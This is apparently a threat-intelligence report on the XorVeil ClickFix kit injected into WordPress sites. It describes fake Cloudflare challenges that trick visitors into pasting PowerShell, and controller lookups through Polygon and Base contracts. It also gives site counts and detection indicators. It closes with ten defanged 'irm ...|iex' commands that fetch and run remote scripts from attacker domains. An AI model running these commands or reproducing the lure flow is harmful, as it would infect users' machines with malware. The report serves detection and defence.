XorVeil ClickFix kit

Two XOR values identify XorVeil

XorVeil is a Cloudflare-style ClickFix page with two XOR decoders. _cmda and _cmdk recover the clipboard command. _c2a and _c2k recover the controller used for /click_ event requests. The decoded page then builds a full-screen element called cfm.

The copy method changed as the page moved between standalone and framed builds. Standalone copies either intercept the browser's copy event or call navigator.clipboard.writeText. Framed panel copies accept window.__PANEL_PS_COMMAND, try a copy event, a hidden textarea and the Clipboard API in turn, then notify the parent with fp-embed-copy. EmbedShade is one loader that places this panel over a compromised site.

The false challenge leads to a Windows prompt

One standalone page moved through four screens: a fake Cloudflare checkbox, a nine-tile image challenge, a message that verification could not be completed and a manual verification window. Its final instructions told the visitor to press Win+X, then I, paste with Ctrl+V and press Enter.

A newer panel used the same checkbox, image grid and false failure, then changed the final keys to Win+R, Ctrl+V and Enter. It recopied the command every three seconds. The panel command used PowerShell to download a .ps1 file into the visitor's application-data directory and run that file.

Polygon supplies the failover list

The WordPress injection checks for the admin bar and a wp-settings cookie before sending an eth_call to Polygon with selector 0x2cae8ae4. It ABI-decodes the reply, splits the resulting controller list on semicolons and starts at a random entry. Each attempt loads /js/all.min.js; an error advances to the next controller.

A Base contract names the next host

A second injection, an inline widget script on compromised WordPress sites, reads Base contract 0x2c8Ab9aBF9aF20dB4c50bA19229f7FfE31e744e1 with selector 0x9d1219ea, trying mainnet.base.org and four other public RPC services in turn. The reply is a hostname. The script caches it in sessionStorage under _jxd and loads https://<host>/<16 random characters>?_=<timestamp>.

On 3 November 2026 the contract returned salesmarkllc[.]com, which served the XorVeil panel. Android visitors got nothing, macOS visitors were sent to profitrollellc[.]com, and Windows visitors were given a PowerShell command that downloads the next stage from bingixllc[.]com with curl.exe.

What we see

Month	New sites
September	199
October	500
November so far	127

Of the 131 sites recaptured at least 25 days after their first match, 102 were still serving XorVeil (78%). 97% of XorVeil sites captured since 25 September run WordPress.

76 XorVeil sites also carry OverlayWar, and 24 also carry EmbedShade.

Checking both delivery forms

Look in logged-out HTML, inline JavaScript and loaded scripts for:

• a Polygon eth_call using selector 0x2cae8ae4, or a Base eth_call using selector 0x9d1219ea
• a sessionStorage entry named _jxd
• code that splits a decoded reply on semicolons and loads /js/all.min.js
• cfm, _cmda, _cmdk, _c2a and _c2k
• window.__PANEL_PS_COMMAND, _natCopy or fp-embed-copy
• a request path beginning /click_
• image-grid text followed by a manual Win+X or Win+R workflow

Inspect the site while logged out. The injection deliberately avoids the WordPress admin view, and cached page responses keep serving the loader after the source file changes.

irm hxxps://ubbrobccheck20[.]cc/cdn/sync/traffic?r=2723|iex

irm hxxps://verifyidentrob01[.]cc/cdn/sync/traffic?r=3386|iex

irm hxxps://zurggoyttjof21[.]cc/ps/traffic?r=415e|iex

irm hxxps://checkmybtrobot[.]cc/ps/traffic?r=6380|iex

irm hxxps://btorsercoyt31[.]cc/ps/traffic?r=216a|iex

irm hxxps://fudcomcheck[.]art/cdn/sync/traffic?r=f338|iex

irm hxxps://checkdvvc99[.]cc/ps/traffic?r=acf7|iex

irm hxxps://allowcheckd3[.]cc/ps/traffic?r=d960|iex

irm hxxps://checkvbbrows39[.]cc/ps/traffic?r=3b64|iex

irm hxxps://fcdnbovres[.]cc/cdn/sync/traffic?r=e265|iex